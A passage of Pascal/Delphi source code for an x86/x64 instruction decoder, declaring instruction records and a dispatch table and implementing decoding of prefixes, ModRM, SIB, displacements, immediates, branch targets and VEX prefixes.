    VL: Byte; { Vector Length }
  end;

  PVex = ^TVex;

  TInternalData = record
    MndPrf: Byte; { Mandatory Prefix }
    zOpSize: Byte; { word or dword depending on opsize prefix ! }
    vOpSize: Byte; { word or dword or qword depending on opsize & REX prefix ! }
  end;

  PInternalData = ^TInternalData;

  TInstruction = record
    Archi: Byte; { CPUX32 or CPUX64 ! }
    AddrMode: Byte; { Address Mode }
    Addr: PByte;
    VirtualAddr: PByte;
    NextInst: PByte; { Pointer to the Next Instruction }
    OpCode: Byte; { OpCode Value }
    OpType: Byte;
    OpKind: Byte;
    OpTable: Byte; { tbOneByte,tbTwoByte,... }
    OperandFlags: Byte;
    Prefixes: Word; { Sets of Prf_xxx }
    ModRm: TModRM;
    Sib: TSib;
    Disp: TDisplacement;
    Imm: TImmediat; { Primary Immediat }
    ImmEx: TImmediat; { Secondary Immediat if used ! }
    Branch: TBranch; { JMP & CALL }
    SegReg: Byte; { Segment Register }
    Rex: TRex;
    Vex: TVex;
    LID: TInternalData; { Internal Data }
    Errors: Byte;
    InstSize: Integer;
    Options: Byte;
    UserTag: NativeInt;
  end;

  PInstruction = ^TInstruction;

  TDecoderProc = procedure(PInst: PInstruction);

function DecodeInst(PInst: PInstruction): Integer;

{ Useful ModRm Routines }
function GetModRm_Mod(const Value: Byte): Byte; {$IFDEF MustInline}inline; {$ENDIF}
function GetModRm_Reg(const Value: Byte): Byte; {$IFDEF MustInline}inline; {$ENDIF}
function GetModRm_Rm(const Value: Byte): Byte; {$IFDEF MustInline}inline; {$ENDIF}
{ Useful Sib Routines }
function GetSib_Base(const Value: Byte): Byte; {$IFDEF MustInline}inline; {$ENDIF}
function GetSib_Index(const Value: Byte): Byte; {$IFDEF MustInline}inline; {$ENDIF}
function GetSib_Scale(const Value: Byte): Byte; {$IFDEF MustInline}inline; {$ENDIF}
function IsSibBaseRegValid(PInst: PInstruction): Boolean; {$IFDEF MustInline}inline; {$ENDIF}

implementation

{$I OpCodesTables.inc}
{$I ModRmFlagsTables.inc}
{ ================================== 00 ================================== }
procedure Decode_InvalidOpCode(PInst: PInstruction); forward;
{ ================================== 01 ================================== }
procedure Decode_NA_ModRm(PInst: PInstruction); forward;
{ ================================== 02 ================================== }
procedure Decode_NA_Ib(PInst: PInstruction); forward;
{ ================================== 03 ================================== }
procedure Decode_NA_Iz(PInst: PInstruction); forward;
{ ================================== 04 ================================== }
procedure Decode_NA_I64(PInst: PInstruction); forward;
{ ================================== 05 ================================== }
procedure Decode_Escape_2_Byte(PInst: PInstruction); forward;
{ ================================== 06 ================================== }
procedure Decode_ES_Prefix(PInst: PInstruction); forward;
{ ================================== 07 ================================== }
procedure Decode_CS_Prefix(PInst: PInstruction); forward;
{ ================================== 08 ================================== }
procedure Decode_SS_Prefix(PInst: PInstruction); forward;
{ ================================== 09 ================================== }
procedure Decode_DS_Prefix(PInst: PInstruction); forward;
{ ================================== 10 ================================== }
procedure Decode_REX_Prefix(PInst: PInstruction); forward;
{ ================================== 11 ================================== }
procedure Decode_NA_D64(PInst: PInstruction); forward;
{ ================================== 12 ================================== }
procedure Decode_NA_ModRm_I64(PInst: PInstruction); forward;
{ ================================== 13 ================================== }
procedure Decode_FS_Prefix(PInst: PInstruction); forward;
{ ================================== 14 ================================== }
procedure Decode_GS_Prefix(PInst: PInstruction); forward;
{ ================================== 15 ================================== }
procedure Decode_OPSIZE_Prefix(PInst: PInstruction); forward;
{ ================================== 16 ================================== }
procedure Decode_ADSIZE_Prefix(PInst: PInstruction); forward;
{ ================================== 17 ================================== }
procedure Decode_NA_Iz_D64(PInst: PInstruction); forward;
{ ================================== 18 ================================== }
procedure Decode_NA_ModRm_Iz(PInst: PInstruction); forward;
{ ================================== 19 ================================== }
procedure Decode_NA_Ib_D64(PInst: PInstruction); forward;
{ ================================== 20 ================================== }
procedure Decode_NA_ModRm_Ib(PInst: PInstruction); forward;
{ ================================== 21 ================================== }
procedure Decode_NA(PInst: PInstruction); forward;
{ ================================== 22 ================================== }
procedure Decode_NA_Jb_Df64(PInst: PInstruction); forward;
{ ================================== 23 ================================== }
procedure Decode_Group_1(PInst: PInstruction); forward;
{ ================================== 24 ================================== }
procedure Decode_Group_1A(PInst: PInstruction); forward;
{ ================================== 25 ================================== }
procedure Decode_NA_CALL_Ap_I64(PInst: PInstruction); forward;
{ ================================== 26 ================================== }
procedure Decode_NA_OfstV(PInst: PInstruction); forward;
{ ================================== 27 ================================== }
procedure Decode_NA_Iv(PInst: PInstruction); forward;
{ ================================== 28 ================================== }
procedure Decode_Group_2(PInst: PInstruction); forward;
{ ================================== 29 ================================== }
procedure Decode_NA_RET_Iw_Df64(PInst: PInstruction); forward;
{ ================================== 30 ================================== }
procedure Decode_NA_RET_Df64(PInst: PInstruction); forward;
{ ================================== 31 ================================== }
procedure Decode_VEX3_Prefix(PInst: PInstruction); forward;
{ ================================== 32 ================================== }
procedure Decode_VEX2_Prefix(PInst: PInstruction); forward;
{ ================================== 33 ================================== }
procedure Decode_Group_11(PInst: PInstruction); forward;
{ ================================== 34 ================================== }
procedure Decode_NA_Iw_Ib_D64(PInst: PInstruction); forward;
{ ================================== 35 ================================== }
procedure Decode_NA_RET_Iw(PInst: PInstruction); forward;
{ ================================== 36 ================================== }
procedure Decode_NA_RET(PInst: PInstruction); forward;
{ ================================== 37 ================================== }
procedure Decode_NA_Ib_I64(PInst: PInstruction); forward;
{ ================================== 38 ================================== }
procedure Decode_Escape_FPU_D8(PInst: PInstruction); forward;
{ ================================== 39 ================================== }
procedure Decode_Escape_FPU_D9(PInst: PInstruction); forward;
{ ================================== 40 ================================== }
procedure Decode_Escape_FPU_DA(PInst: PInstruction); forward;
{ ================================== 41 ================================== }
procedure Decode_Escape_FPU_DB(PInst: PInstruction); forward;
{ ================================== 42 ================================== }
procedure Decode_Escape_FPU_DC(PInst: PInstruction); forward;
{ ================================== 43 ================================== }
procedure Decode_Escape_FPU_DD(PInst: PInstruction); forward;
{ ================================== 44 ================================== }
procedure Decode_Escape_FPU_DE(PInst: PInstruction); forward;
{ ================================== 45 ================================== }
procedure Decode_Escape_FPU_DF(PInst: PInstruction); forward;
{ ================================== 46 ================================== }
procedure Decode_NA_CALL_Jz_Df64(PInst: PInstruction); forward;
{ ================================== 47 ================================== }
procedure Decode_NA_JMP_Jz_Df64(PInst: PInstruction); forward;
{ ================================== 48 ================================== }
procedure Decode_NA_JMP_Ap_I64(PInst: PInstruction); forward;
{ ================================== 49 ================================== }
procedure Decode_NA_JMP_Jb_Df64(PInst: PInstruction); forward;
{ ================================== 50 ================================== }
procedure Decode_LOCK_Prefix(PInst: PInstruction); forward;
{ ================================== 51 ================================== }
procedure Decode_REPNE_Prefix(PInst: PInstruction); forward;
{ ================================== 52 ================================== }
procedure Decode_REPE_Prefix(PInst: PInstruction); forward;
{ ================================== 53 ================================== }
procedure Decode_Group_3(PInst: PInstruction); forward;
{ ================================== 54 ================================== }
procedure Decode_Group_4_INC_DEC(PInst: PInstruction); forward;
{ ================================== 55 ================================== }
procedure Decode_Group_5_INC_DEC(PInst: PInstruction); forward;
{ ================================== 56 ================================== }
procedure Decode_Group_6(PInst: PInstruction); forward;
{ ================================== 57 ================================== }
procedure Decode_Group_7(PInst: PInstruction); forward;
{ ================================== 58 ================================== }
procedure Decode_NA_CALL(PInst: PInstruction); forward;
{ ================================== 59 ================================== }
procedure Decode_NA_66_F2_F3_ModRm(PInst: PInstruction); forward;
{ ================================== 60 ================================== }
procedure Decode_NA_66_ModRm(PInst: PInstruction); forward;
{ ================================== 61 ================================== }
procedure Decode_NA_66_F3_ModRm(PInst: PInstruction); forward;
{ ================================== 62 ================================== }
procedure Decode_Group_16(PInst: PInstruction); forward;
{ ================================== 63 ================================== }
procedure Decode_NA_ModRm_F64(PInst: PInstruction); forward;
{ ================================== 64 ================================== }
procedure Decode_Escape_3_Byte(PInst: PInstruction); forward;
{ ================================== 65 ================================== }
procedure Decode_NA_F3_ModRm(PInst: PInstruction); forward;
{ ================================== 66 ================================== }
procedure Decode_66_ModRm(PInst: PInstruction); forward;
{ ================================== 67 ================================== }
procedure Decode_NA_66_F2_F3_ModRm_Ib(PInst: PInstruction); forward;
{ ================================== 68 ================================== }
procedure Decode_Group_12(PInst: PInstruction); forward;
{ ================================== 69 ================================== }
procedure Decode_Group_13(PInst: PInstruction); forward;
{ ================================== 70 ================================== }
procedure Decode_Group_14(PInst: PInstruction); forward;
{ ================================== 71 ================================== }
procedure Decode_66_F2_ModRm(PInst: PInstruction); forward;
{ ================================== 72 ================================== }
procedure Decode_NA_Jz_Df64(PInst: PInstruction); forward;
{ ================================== 73 ================================== }
procedure Decode_Group_15(PInst: PInstruction); forward;
{ ================================== 74 ================================== }
procedure Decode_F3_ModRm(PInst: PInstruction); forward;
{ ================================== 75 ================================== }
procedure Decode_Group_10_UD2(PInst: PInstruction); forward;
{ ================================== 76 ================================== }
procedure Decode_Group_8(PInst: PInstruction); forward;
{ ================================== 77 ================================== }
procedure Decode_NA_66_ModRm_Ib(PInst: PInstruction); forward;
{ ================================== 78 ================================== }
procedure Decode_Group_9(PInst: PInstruction); forward;
{ ================================== 79 ================================== }
procedure Decode_66_F2_F3_ModRm(PInst: PInstruction); forward;
{ ================================== 80 ================================== }
procedure Decode_F2_ModRm(PInst: PInstruction); forward;
{ ================================== 81 ================================== }
procedure Decode_SP_T38_F0_F7(PInst: PInstruction); forward;
{ ================================== 82 ================================== }
procedure Decode_66_ModRm_Ib(PInst: PInstruction); forward;
{ ================================== 83 ================================== }
procedure Decode_F2_ModRm_Ib(PInst: PInstruction); forward;

procedure JumpError(PInst: PInstruction); forward;
procedure JumpToTableTwoByte(PInst: PInstruction); forward;
procedure JumpToTableThreeByte_38(PInst: PInstruction); forward;
procedure JumpToTableThreeByte_3A(PInst: PInstruction); forward;

procedure Decode_CALL_ModRm(PInst: PInstruction); forward;
procedure Decode_JMP_ModRm(PInst: PInstruction); forward;
procedure Decode_CALL_Mp(PInst: PInstruction); forward;
procedure Decode_JMP_Mp(PInst: PInstruction); forward;

const

  { Convert PP To Mandatory Prefixes ! }
  PPToMndPrf: array [0 .. 3] of Byte = ($00, $66, $F3, $F2);

  { Convert LL To OpSize ! }
  LLToOpSize: array [0 .. 3] of Word = (ops128bits, ops256bits, ops512bits, 0);

  { Call escaping procedure ! }
  mmmmmToEscProc: array [0 .. 4] of TDecoderProc = ( //
    JumpError, { }
    JumpToTableTwoByte, { 00001: implied 0F leading opcode byte }
    JumpToTableThreeByte_38, { 00010: implied 0F 38 leading opcode bytes }
    JumpToTableThreeByte_3A, { 00011: implied 0F 3A leading opcode bytes }
    JumpError { }
    );

  DecoderProcTable: array [0 .. $54 - 1] of TDecoderProc = ( //
    { 00 } Decode_InvalidOpCode,
    { 01 } Decode_NA_ModRm,
    { 02 } Decode_NA_Ib,
    { 03 } Decode_NA_Iz,
    { 04 } Decode_NA_I64,
    { 05 } Decode_Escape_2_Byte,
    { 06 } Decode_ES_Prefix,
    { 07 } Decode_CS_Prefix,
    { 08 } Decode_SS_Prefix,
    { 09 } Decode_DS_Prefix,
    { 10 } Decode_REX_Prefix,
    { 11 } Decode_NA_D64,
    { 12 } Decode_NA_ModRm_I64,
    { 13 } Decode_FS_Prefix,
    { 14 } Decode_GS_Prefix,
    { 15 } Decode_OPSIZE_Prefix,
    { 16 } Decode_ADSIZE_Prefix,
    { 17 } Decode_NA_Iz_D64,
    { 18 } Decode_NA_ModRm_Iz,
    { 19 } Decode_NA_Ib_D64,
    { 20 } Decode_NA_ModRm_Ib,
    { 21 } Decode_NA,
    { 22 } Decode_NA_Jb_Df64,
    { 23 } Decode_Group_1,
    { 24 } Decode_Group_1A,
    { 25 } Decode_NA_CALL_Ap_I64,
    { 26 } Decode_NA_OfstV,
    { 27 } Decode_NA_Iv,
    { 28 } Decode_Group_2,
    { 29 } Decode_NA_RET_Iw_Df64,
    { 30 } Decode_NA_RET_Df64,
    { 31 } Decode_VEX3_Prefix,
    { 32 } Decode_VEX2_Prefix,
    { 33 } Decode_Group_11,
    { 34 } Decode_NA_Iw_Ib_D64,
    { 35 } Decode_NA_RET_Iw,
    { 36 } Decode_NA_RET,
    { 37 } Decode_NA_Ib_I64,
    { 38 } Decode_Escape_FPU_D8,
    { 39 } Decode_Escape_FPU_D9,
    { 40 } Decode_Escape_FPU_DA,
    { 41 } Decode_Escape_FPU_DB,
    { 42 } Decode_Escape_FPU_DC,
    { 43 } Decode_Escape_FPU_DD,
    { 44 } Decode_Escape_FPU_DE,
    { 45 } Decode_Escape_FPU_DF,
    { 46 } Decode_NA_CALL_Jz_Df64,
    { 47 } Decode_NA_JMP_Jz_Df64,
    { 48 } Decode_NA_JMP_Ap_I64,
    { 49 } Decode_NA_JMP_Jb_Df64,
    { 50 } Decode_LOCK_Prefix,
    { 51 } Decode_REPNE_Prefix,
    { 52 } Decode_REPE_Prefix,
    { 53 } Decode_Group_3,
    { 54 } Decode_Group_4_INC_DEC,
    { 55 } Decode_Group_5_INC_DEC,
    { 56 } Decode_Group_6,
    { 57 } Decode_Group_7,
    { 58 } Decode_NA_CALL,
    { 59 } Decode_NA_66_F2_F3_ModRm,
    { 60 } Decode_NA_66_ModRm,
    { 61 } Decode_NA_66_F3_ModRm,
    { 62 } Decode_Group_16,
    { 63 } Decode_NA_ModRm_F64,
    { 64 } Decode_Escape_3_Byte,
    { 65 } Decode_NA_F3_ModRm,
    { 66 } Decode_66_ModRm,
    { 67 } Decode_NA_66_F2_F3_ModRm_Ib,
    { 68 } Decode_Group_12,
    { 69 } Decode_Group_13,
    { 70 } Decode_Group_14,
    { 71 } Decode_66_F2_ModRm,
    { 72 } Decode_NA_Jz_Df64,
    { 73 } Decode_Group_15,
    { 74 } Decode_F3_ModRm,
    { 75 } Decode_Group_10_UD2,
    { 76 } Decode_Group_8,
    { 77 } Decode_NA_66_ModRm_Ib,
    { 78 } Decode_Group_9,
    { 79 } Decode_66_F2_F3_ModRm,
    { 80 } Decode_F2_ModRm,
    { 81 } Decode_SP_T38_F0_F7,
    { 82 } Decode_66_ModRm_Ib,
    { 83 } Decode_F2_ModRm_Ib);
  { .$REGION 'COMMON' }
  { ========================== COMMON =============================== }

procedure SetInstError(PInst: PInstruction; Error: Byte);
var
  ErrStr: String;
begin
  ErrStr := EmptyStr;
  if Error = NO_ERROR then
  begin
    { Clear Errors ! }
    PInst^.Errors := NO_ERROR;
    Exit;
  end;
  PInst^.Errors := PInst^.Errors or Error;

  if RaiseExceptionOnError then
  begin
    if (Error > 0) and (Error < Length(InstErrorsStr)) then
      ErrStr := InstErrorsStr[Error]
    else
      ErrStr := UnknownErrorStr;
    raise InstException.Create(Format('Error %d : %s.', [Error, ErrStr]));
  end;
end;

function GetModRm_Mod(const Value: Byte): Byte;
begin
  Result := Value shr 6;
end;

function GetModRm_Reg(const Value: Byte): Byte;
begin
  Result := (Value and $38) shr $03;
end;

function GetModRm_Rm(const Value: Byte): Byte;
begin
  Result := Value and 7;
end;

function GetSib_Base(const Value: Byte): Byte;
begin
  Result := Value and 7;
end;

function GetSib_Index(const Value: Byte): Byte;
begin
  Result := (Value and $38) shr $03;
end;

function GetSib_Scale(const Value: Byte): Byte;
begin
  Result := (1 shl (Value shr 6));
end;

function IsSibBaseRegValid(PInst: PInstruction): Boolean;
begin
  Result := True;
  if PInst^.Sib.Flags and sfUsed <> 0 then
    Result := not((PInst^.ModRm.iMod = 0) and (PInst^.Sib.Base = 5));
end;

procedure SetOpCode(PInst: PInstruction); {$IFDEF MustInline}inline; {$ENDIF}
begin
  PInst^.OpCode := PInst^.NextInst^;
  Inc(PInst^.NextInst);
end;

procedure SetGroup(PInst: PInstruction); {$IFDEF MustInline}inline; {$ENDIF}
begin
  PInst^.OpKind := kGrp;
end;

procedure ForceOpSize(PInst: PInstruction); {$IFDEF MustInline}inline; {$ENDIF}
begin
  if PInst^.Archi = CPUX32 then
    Exit;
  PInst^.LID.vOpSize := ops64bits;
end;

procedure DecodeSib(PInst: PInstruction); {$IFDEF MustInline}inline; {$ENDIF}
var
  PSib: LPSib;
begin
  PSib := @PInst^.Sib;
  PSib.Flags := sfUsed;
  PSib.Value := PInst^.NextInst^;
  PSib.Base := GetSib_Base(PSib.Value);
  PSib.Index := GetSib_Index(PSib.Value);
  PSib.Scale := GetSib_Scale(PSib.Value);
  Inc(PInst^.NextInst); // Skip SIB !
end;

procedure DecodeDisp(PInst: PInstruction);
var
  Disp: Int64;
  Size: Byte;
  DispOnly: Boolean;
begin
  Disp := $00;
  Size := PInst^.Disp.Size;
  PInst^.Disp.Flags := dfUsed;
  DispOnly := (PInst^.ModRm.iMod = $00) and (PInst^.ModRm.Rm = $05);

  case Size of
    ops8bits:
      Disp := (PInt8(PInst^.NextInst)^); // and $FF;
    ops16bits:
      Disp := (PInt16(PInst^.NextInst)^); // and $FFFF;
    ops32bits:
      begin
        Disp := (PInt32(PInst^.NextInst)^); // and $FFFFFFFF;
        if (PInst^.Archi = CPUX64) and DispOnly then
          { RIP disp ! }
          PInst^.Disp.Flags := PInst^.Disp.Flags or dfRip;
      end;
  else
    SetInstError(PInst, ERROR_DISP_SIZE);
  end;

  if DispOnly then
    PInst^.Disp.Flags := PInst^.Disp.Flags or dfDispOnly
  else
    PInst^.Disp.Flags := PInst^.Disp.Flags or dfSigned;

  PInst^.Disp.Value := Disp;
  Inc(PInst^.NextInst, Size) // Skip Disp !
end;

procedure Decode_ModRm(PInst: PInstruction);
var
  PModRM: LPModRM;
  SibUsed: Boolean;
const
  { Get Disp Size from ModRm . }
  ModRMFlagsToDispSize: array [0 .. 4] of Byte = (0, ops8bits, ops16bits, 0, ops32bits);
begin
  PModRM := @PInst^.ModRm;
  PModRM.Value := PInst^.NextInst^;
  PModRM.iMod := GetModRm_Mod(PModRM.Value);
  PModRM.Reg := GetModRm_Reg(PModRM.Value);
  PModRM.Rm := GetModRm_Rm(PModRM.Value);
  PModRM.Flags := ModRMFlags[PInst^.AddrMode][PModRM.Value];

  PInst^.Disp.Size := ModRMFlagsToDispSize[(PModRM.Flags shr 1) and 7];
  Inc(PInst^.NextInst); // Skip ModRM !

  SibUsed := (PModRM.Flags and $10 > 0); { SibUsed ! }

  if SibUsed then
  begin
    DecodeSib(PInst);
    { if the base is not valid ==> there is a disp32 .
      But the disp can be 8bit ==> we need to check first
      if the disp does not exist !
    }
    if (PInst^.Disp.Size = 0) and (not IsSibBaseRegValid(PInst)) then
      PInst^.Disp.Size := ops32bits;
  end;

  if PInst^.Disp.Size > 0 then
    DecodeDisp(PInst);

  { ModRm Exists ! }
  PModRM.Flags := PModRM.Flags or mfUsed;
end;

procedure Decode_Imm(PInst: PInstruction; immSize: Byte);
var
  Imm: Int64;
  PImm: PImmediat;
begin
  Imm := $00;
  case immSize of
    ops8bits:
      Imm := (PInt8(PInst^.NextInst)^);
    ops16bits:
      Imm := (PInt16(PInst^.NextInst)^);
    ops32bits:
      Imm := (PInt32(PInst^.NextInst)^);
    ops64bits:
      Imm := (PInt64(PInst^.NextInst)^);
  else
    SetInstError(PInst, ERROR_IMM_SIZE);
  end;

  {
    If Imm field already used => get the extra Imm
  }
  if PInst^.Imm.Flags and imfUsed <> $00 then
    PImm := @PInst^.ImmEx
  else
    PImm := @PInst^.Imm;

  PImm.Flags := imfUsed;
  PImm.Value := Imm;
  PImm.Size := immSize;
  Inc(PInst^.NextInst, immSize); // Skip Immediat !
end;

procedure Decode_J(PInst: PInstruction; Size: Byte);
var
  Value: Int64;
  VA: PByte;
begin
  Value := $00;
  case Size of
    ops8bits:
      Value := (PInt8(PInst^.NextInst)^);
    ops16bits:
      Value := (PInt16(PInst^.NextInst)^);
    ops32bits:
      Value := (PInt32(PInst^.NextInst)^);
    ops64bits:
      Value := (PInt64(PInst^.NextInst)^);
  end;
  Inc(PInst^.NextInst, Size);
  if PInst^.OpType = otNone then
    PInst^.OpType := otJ;
  if PInst^.OpCode in [$70 .. $8F] then
    PInst^.OpType := otJ or otJcc;
  if Assigned(PInst^.VirtualAddr) then
    VA := PByte(NativeInt(PInst^.VirtualAddr) + NativeInt(NativeInt(PInst^.NextInst) - NativeInt(PInst^.Addr)))
  else
    VA := PInst^.NextInst;
  PInst^.Branch.Size := Size;
  PInst^.Branch.Falgs := bfUsed or bfRel;
  PInst^.Branch.Value := Value;
  PInst^.Branch.Target := PByte(NativeInt(VA) + Value);
end;

procedure Decode_Branch_ModRm(PInst: PInstruction);
var
  P: PByte;
  VA: PByte;
begin
  SetOpCode(PInst);
  Decode_ModRm(PInst);
  PInst^.Branch.Value := PInst^.Disp.Value;
  PInst^.Branch.Size := PInst^.Disp.Size;
  PInst^.Branch.Falgs := bfUsed or bfIndirect or bfAbs;
  if Assigned(PInst^.VirtualAddr) then
    VA := PByte(NativeInt(PInst^.VirtualAddr) + (NativeInt(PInst^.NextInst) - NativeInt(PInst^.Addr)))
  else
    VA := PInst^.NextInst;
  if (PInst^.ModRm.iMod = $00) and (PInst^.ModRm.Rm = $05) then
  begin
    { Memory = Displacement }
    if PInst^.Archi = CPUX64 then
    begin
      if PInst^.Prefixes and Prf_AddrSize <> 0 then
        { Displacement = EIP + Offset }
        VA := PByte(UInt64(VA) and $FFFFFFFF);
      { Displacement = RIP + Offset }
      PInst^.Branch.Falgs := PInst^.Branch.Falgs or bfRip;
      P := PByte(NativeInt(VA) + NativeInt(PInst^.Disp.Value));
      { Memory 64-bits }
      PInst^.Branch.Target := PByte(PUInt64(P)^);
    end
    else
    begin
      { No RIP }
      P := PByte(UInt32(PInst^.Disp.Value));
      if PInst^.Prefixes and Prf_OpSize <> 0 then
        { Memory 16-bits }
        PInst^.Branch.Target := PByte(PUInt16(P)^)
      else
        { Memory 32-bits }
        PInst^.Branch.Target := PByte(PUInt32(P)^);
    end;
  end
  else
  begin
    { Memory = Displacement + Register }
    PInst^.Branch.Falgs := PInst^.Branch.Falgs or bfReg;
    PInst^.Branch.Target := nil;
  end;
end;

procedure Decode_Ap(PInst: PInstruction);
begin
  SetOpCode(PInst);
  PInst^.Branch.Falgs := bfUsed or bfFar;
  { We must clear the upper word ! }
  PInst^.Branch.Value := PUInt64(PInst^.NextInst)^ and $FFFFFFFFFFFF;
  PInst^.Branch.Size := ops48bits;
  PInst^.Branch.Target := nil;
  Inc(PInst^.NextInst, ops48bits);
end;

procedure Decode_Mp(PInst: PInstruction);
begin
  SetOpCode(PInst);
  PInst^.Branch.Falgs := bfUsed or bfFar;
  Decode_ModRm(PInst);
  PInst^.Branch.Value := PInst^.Disp.Value;
  PInst^.Branch.Size := PInst^.Disp.Size;
  PInst^.Branch.Target := nil;
end;

procedure Decode_InvalidOpCode(PInst: PInstruction); {$IFDEF MustInline}inline;
{$ENDIF}
begin
  SetOpCode(PInst);
end;

procedure Decode_Invalid_Group(PInst: PInstruction); {$IFDEF MustInline}inline;
{$ENDIF}
begin
  SetOpCode(PInst);
  Inc(PInst^.NextInst);
end;

procedure Decode_Invalid_FPU(PInst: PInstruction); {$IFDEF MustInline}inline;
{$ENDIF}
begin
  SetOpCode(PInst);
  Inc(PInst^.NextInst);
end;

{ .$ENDREGION }
{ .$REGION 'PREFIXES' }
{ ========================== PREFIXES =============================== }

procedure Decode_ES_Prefix(PInst: PInstruction);
begin
  { ES Segment Override Prefix }
  Inc(PInst^.NextInst);
  PInst^.Prefixes := PInst^.Prefixes or Prf_Seg_ES;
  PInst^.SegReg := Seg_ES;
  DecoderProcTable[OneByteTable[PInst^.NextInst^]](PInst);
end;

procedure Decode_CS_Prefix(PInst: PInstruction);
begin
  { CS Segment Override Prefix }
  Inc(PInst^.NextInst);
  PInst^.Prefixes := PInst^.Prefixes or Prf_Seg_CS;
  PInst^.SegReg := Seg_CS;
  DecoderProcTable[OneByteTable[PInst^.NextInst^]](PInst);
end;

procedure Decode_SS_Prefix(PInst: PInstruction);
begin
  { SS Segment Override Prefix }
  Inc(PInst^.NextInst);
  PInst^.Prefixes := PInst^.Prefixes or Prf_Seg_SS;
  PInst^.SegReg := Seg_SS;
  DecoderProcTable[OneByteTable[PInst^.NextInst^]](PInst);
end;

procedure Decode_DS_Prefix(PInst: PInstruction);
begin
  { DS Segment Override Prefix }
  Inc(PInst^.NextInst);
  PInst^.Prefixes := PInst^.Prefixes or Prf_Seg_DS;
  PInst^.SegReg := Seg_DS;
  DecoderProcTable[OneByteTable[PInst^.NextInst^]](PInst);
end;

procedure Decode_REX_Prefix(PInst: PInstruction);
begin
  { REX Prefix valid only on PM64! }
  if PInst^.Archi = CPUX32 then
  begin
    { INC/DEC REG }
    Decode_NA(PInst);
    Exit;
  end;
  PInst^.Prefixes := PInst^.Prefixes or Prf_Rex;
  PInst^.Rex.Value := PInst^.NextInst^;
  PInst^.Rex.B := (PInst^.Rex.Value and 1 <> 0);
  PInst^.Rex.X := (PInst^.Rex.Value and 2 <> 0);
  PInst^.Rex.R := (PInst^.Rex.Value and 4 <> 0);
  PInst^.Rex.W := (PInst^.Rex.Value and 8 <> 0);

  if PInst^.Rex.W then
    PInst^.LID.vOpSize := ops64bits;

  Inc(PInst^.NextInst); // Skip Rex .
  DecoderProcTable[OneByteTable[PInst^.NextInst^]](PInst);
end;

procedure Decode_FS_Prefix(PInst: PInstruction);
begin
  { FS Segment Override Prefix }
  Inc(PInst^.NextInst);
  PInst^.Prefixes := PInst^.Prefixes or Prf_Seg_FS;
  PInst^.SegReg := Seg_FS;
  DecoderProcTable[OneByteTable[PInst^.NextInst^]](PInst);
end;

procedure Decode_GS_Prefix(PInst: PInstruction);
begin
  { GS Segment Override Prefix }
  Inc(PInst^.NextInst);
  PInst^.Prefixes := PInst^.Prefixes or Prf_Seg_GS;
  PInst^.SegReg := Seg_GS;
  DecoderProcTable[OneByteTable[PInst^.NextInst^]](PInst);
end;

procedure Decode_OPSIZE_Prefix(PInst: PInstruction);
begin
  PInst^.Prefixes := PInst^.Prefixes or Prf_OpSize;
  PInst^.LID.vOpSize := ops16bits;
  PInst^.LID.zOpSize := ops16bits;
  PInst^.LID.MndPrf := $66;
  Inc(PInst^.NextInst);
  DecoderProcTable[OneByteTable[PInst^.NextInst^]](PInst);
end;

procedure Decode_ADSIZE_Prefix(PInst: PInstruction);
begin
  PInst^.Prefixes := PInst^.Prefixes or Prf_AddrSize;
  Inc(PInst^.NextInst);
  PInst^.AddrMode := AddressMode[PInst^.Archi];
  DecoderProcTable[OneByteTable[PInst^.NextInst^]](PInst);
end;

procedure Decode_VEX3_Prefix(PInst: PInstruction);
var
  P: Byte;
  Q: PByte;
  R, X: Boolean;
begin
  if PInst^.Options and DecodeVex = 0 then
  begin
    Decode_NA_ModRm(PInst);
    Exit;
  end;
  if PInst^.Archi = CPUX32 then
  begin
    Q := PInst^.NextInst;
    Inc(Q);
    R := (Q^ and $80 <> 0);
    X := (Q^ and $40 <> 0);
    {
      if R & X are set ==> Vex prefix is valid !
      otherwise the instruction is LES .
    }
    if not(R and X) then
    begin
      { LES instruction }
      Decode_NA_ModRm(PInst);
      Exit;
    end;
  end;

  Inc(PInst^.NextInst); // Skip $C4 !
  PInst^.Prefixes := PInst^.Prefixes or Prf_Vex3;
  P := PInst^.NextInst^; // P0
  PInst^.Rex.R := not(P and $80 <> 0);
  PInst^.Rex.X := not(P and $40 <> 0);
  PInst^.Rex.B := not(P and $20 <> 0);
  PInst^.Vex.mmmmm := (P and $1F);
  Inc(PInst^.NextInst); // Skip P0
  P := PInst^.NextInst^; // P1
  Inc(PInst^.NextInst); // Skip P1
  PInst^.Rex.W := (P and $80 <> 0);
  PInst^.Vex.vvvv := $0F - ((P and $78) shr 3);
  PInst^.Vex.L := (P and 4 <> 0);
  PInst^.Vex.PP := (P and 3);
  PInst^.Vex.VL := LLToOpSize[Byte(PInst^.Vex.L)];
  PInst^.LID.MndPrf := PPToMndPrf[PInst^.Vex.PP];
  mmmmmToEscProc[PInst^.Vex.mmmmm](PInst);
end;

procedure Decode_VEX2_Prefix(PInst: PInstruction);
var
  P: Byte;
  Q: PByte;
  R: Boolean;
begin
  if PInst^.Options and DecodeVex = 0 then
  begin
    Decode_NA_ModRm(PInst);
    Exit;
  end;
  if PInst^.Archi = CPUX32 then
  begin
    Q := PInst^.NextInst;
    Inc(Q);
    R := (Q^ and $80 <> 0);
    {
      if R is set ==> Vex prefix is valid !
      otherwise the instruction is LDS.
    }
    if not R then
    begin
      { LDS instruction }
      Decode_NA_ModRm(PInst);
      Exit;
    end;
  end;

  Inc(PInst^.NextInst); // Skip $C5 !
  PInst^.Prefixes := PInst^.Prefixes or Prf_Vex2;
  P := PInst^.NextInst^;
  PInst^.Rex.R := not(P and $80 <> 0);
  PInst^.Vex.vvvv := $0F - ((P and $78) shr 3);
  PInst^.Vex.L := (P and 4 <> 0);
  PInst^.Vex.PP := (P and 3);
  PInst^.Vex.VL := LLToOpSize[Byte(PInst^.Vex.L)];
  PInst^.LID.MndPrf := PPToMndPrf[PInst^.Vex.PP];
  Inc(PInst^.NextInst); // Skip P0 !
  DecoderProcTable[TwoByteTable[PInst^.NextInst^]](PInst);
end;

procedure Decode_LOCK_Prefix(PInst: PInstruction);
begin
  PInst^.Prefixes := PInst^.Prefixes or Prf_Lock;
  Inc(PInst^.NextInst);
  DecoderProcTable[OneByteTable[PInst^.NextInst^]](PInst);
end;

procedure Decode_REPNE_Prefix(PInst: PInstruction);
begin
  PInst^.Prefixes := PInst^.Prefixes or Prf_Repne;
  PInst^.LID.MndPrf := $F2;
  Inc(PInst^.NextInst);
  DecoderProcTable[OneByteTable[PInst^.NextInst^]](PInst);
end;

procedure Decode_REPE_Prefix(PInst: PInstruction);
begin
  PInst^.Prefixes := PInst^.Prefixes or Prf_Repe;
  PInst^.LID.MndPrf := $F3;
